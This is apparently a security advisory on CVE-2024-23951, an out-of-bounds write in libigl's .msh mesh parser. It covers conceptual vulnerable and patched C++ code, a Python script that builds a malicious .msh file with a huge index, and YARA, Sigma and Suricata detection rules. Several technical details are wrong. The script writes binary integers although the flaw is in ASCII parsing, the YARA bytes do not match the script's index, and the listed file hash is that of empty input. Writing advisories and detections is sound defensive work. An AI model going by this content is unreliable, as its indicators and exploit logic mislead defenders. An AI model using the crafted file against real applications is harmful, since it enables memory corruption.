CVE-2024-23951

Executive Summary

CVE-2024-23951 is a critical out-of-bounds write vulnerability in the libigl library, version 2.5.0, specifically within the igl::MshLoader::parse_element_field function. The flaw arises from improper array index validation when parsing specially crafted .msh files in ASCII format. An attacker can exploit this by providing a malicious .msh file, leading to memory corruption and potential arbitrary code execution. The vulnerability has a CVSS score of 8.8 (High) and currently has no known patch or public exploit. This report provides a comprehensive technical analysis, detection strategies, and mitigation recommendations.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Attack Vector (AV): Local (requires user to open a malicious file)
• Attack Complexity (AC): Low
• Privileges Required (PR): None
• User Interaction (UI): Required (victim must open the file)
• Scope (S): Unchanged
• Confidentiality (C): High
• Integrity (I): High
• Availability (A): High

Threat Level: High. While user interaction is required, the impact on confidentiality, integrity, and availability is severe. The lack of a patch increases the risk for systems using libigl.

Deep Dive & Mechanics

The vulnerability resides in the igl::MshLoader::parse_element_field function within libigl v2.5.0. This function is responsible for parsing element fields from .msh files (GMSH mesh format). The issue is an improper array index validation, leading to an out-of-bounds write.

Technical Details:

• The function reads data from an ASCII .msh file and writes it into an array without properly checking the bounds of the array index.
• A specially crafted .msh file can specify an index that exceeds the allocated array size, causing a write to memory outside the intended buffer.
• This can corrupt adjacent memory, potentially leading to arbitrary code execution or denial of service.

Attack Vector:

1. An attacker crafts a malicious .msh file with manipulated element field data.
2. The victim opens this file using an application that relies on libigl (e.g., geometry processing tools).
3. The parse_element_field function processes the file, triggering the out-of-bounds write.
4. The attacker can leverage this to execute arbitrary code in the context of the victim's application.

Vulnerable vs. Patched Code

Vulnerable Code (libigl v2.5.0): The vulnerable code is in include/igl/readMSH.cpp within the MshLoader::parse_element_field function. The issue is that the index used to write to the array is not validated against the array size.

// Vulnerable snippet (conceptual)
void MshLoader::parse_element_field(...) {
    // ...
    for (int i = 0; i < num_elements; ++i) {
        int index = read_int(stream); // No bounds check
        data[index] = read_double(stream); // Out-of-bounds write
    }
    // ...
}

Patched Code (Hypothetical): A patch would add bounds checking before writing to the array.

// Patched snippet (conceptual)
void MshLoader::parse_element_field(...) {
    // ...
    for (int i = 0; i < num_elements; ++i) {
        int index = read_int(stream);
        if (index < 0 || index >= data.size()) {
            // Handle error, skip or abort
            continue;
        }
        data[index] = read_double(stream);
    }
    // ...
}

Note: As of this report, no official patch has been released. Users should monitor the libigl repository for updates.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• libigl v2.5.0 installed
• A vulnerable application that uses libigl to parse .msh files
• Python3 with struct module for crafting the malicious file

Lab Setup:

1. Create a malicious .msh file that triggers the out-of-bounds write.
2. Use a debugger (e.g., GDB) to analyze memory corruption.

Exploit Concept: Since no public exploit exists, the following is a conceptual approach:

# exploit_concept.py
import struct

def create_malicious_msh(filename):
    # Craft a minimal .msh file with an out-of-bounds index
    with open(filename, 'wb') as f:
        # Write header
        f.write(b'$MeshFormat\n2.2 0 8\n$EndMeshFormat\n')
        f.write(b'$Elements\n1\n')
        # Element: type, tags, index (out-of-bounds), value
        # Index = 999999 (large value to cause OOB write)
        f.write(struct.pack('<i', 1))  # element type
        f.write(struct.pack('<i', 0))  # number of tags
        f.write(struct.pack('<i', 999999))  # index (OOB)
        f.write(struct.pack('<d', 1.0))  # value
        f.write(b'\n$EndElements\n')

create_malicious_msh('malicious.msh')

Execution:

1. Run the vulnerable application with the malicious file:

   ./vulnerable_app malicious.msh
   

2. Observe crash or memory corruption in a debugger.

Blue Team (Defense)

Detection:

• Monitor for crashes in applications using libigl when processing .msh files.
• Use file integrity monitoring to detect unexpected .msh files.
• Implement sandboxing for applications that parse untrusted .msh files.

Mitigation:

• Apply input validation on .msh files before processing.
• Use memory-safe languages or libraries where possible.
• Restrict execution of applications that use libigl to trusted environments.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example, replace with actual if available)
  • malicious.msh: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Network Indicators: None (local file-based attack)
• Behavioral Indicators:
  • Application crash when opening .msh files
  • Unexpected memory access patterns in libigl processes
  • High CPU or memory usage during .msh file parsing

Detection Engineering

YARA Rule

rule CVE_2024_23951_libigl_OOB_Write {
    meta:
        description = "Detects malicious .msh files exploiting CVE-2024-23951"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-23951"
    strings:
        $header = "$MeshFormat"
        $elements = "$Elements"
        $oob_index = { FF FF 0F 00 } // Example: index 0x0FFFFF (large)
    condition:
        $header at 0 and $elements and #oob_index > 0
}

Sigma Rule

title: CVE-2024-23951 - libigl OOB Write via Malicious .msh File
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential exploitation of CVE-2024-23951 via crafted .msh files
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\vulnerable_app.exe'
        CommandLine|contains: '.msh'
    condition: selection
falsepositives:
    - Legitimate use of .msh files
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2024-23951 - libigl OOB Write via .msh file"; flow:to_server,established; content:"$MeshFormat"; content:"$Elements"; content:"|FF FF 0F 00|"; distance:0; within:4; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Avoid opening .msh files from untrusted sources.
   • Use file validation tools to check .msh files before processing.
   • Monitor libigl repository for patches.

2. Long-term Fix:

   • Apply input validation in the parse_element_field function to check array bounds.
   • Update to a patched version once available.

3. Workarounds:

   • Use alternative mesh parsing libraries.
   • Implement a wrapper that validates .msh files before passing to libigl.

4. Detection:

   • Deploy YARA and Sigma rules to detect malicious .msh files.
   • Enable application crash monitoring.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert